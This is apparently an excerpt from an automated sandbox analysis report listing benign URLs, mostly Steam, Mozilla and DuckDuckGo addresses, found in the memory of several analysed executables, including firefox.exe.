Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo;
Source: aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562574422.0000000000C12000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562574422.0000000000C12000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562574422.0000000000C12000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2927621655.000002EE64BC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2782030739.000002EE653E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2936846123.000002EE653E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2216206889.00000000055AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2216206889.00000000055AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E6D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2917093566.000002EE604D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2941379352.00000C05D3904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2681144026.000002EE5CB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2687584651.000002EE5CB53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2885095805.000002EE5D97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2792367692.000002EE5D97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2804931449.000002EE5D293000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001A.00000002.2910556312.000002EE5F5CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sVALIDATE_DONT_COLLAPSE
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000003.2779151506.000002EE5DB8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2770726535.000002EE5DB8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001A.00000003.2779151506.000002EE5DB8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778146878.000002EE5DBBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2770726535.000002EE5DBA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2780374818.000002EE5DB9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2770726535.000002EE5DB8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2791936031.000002EE5DC43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
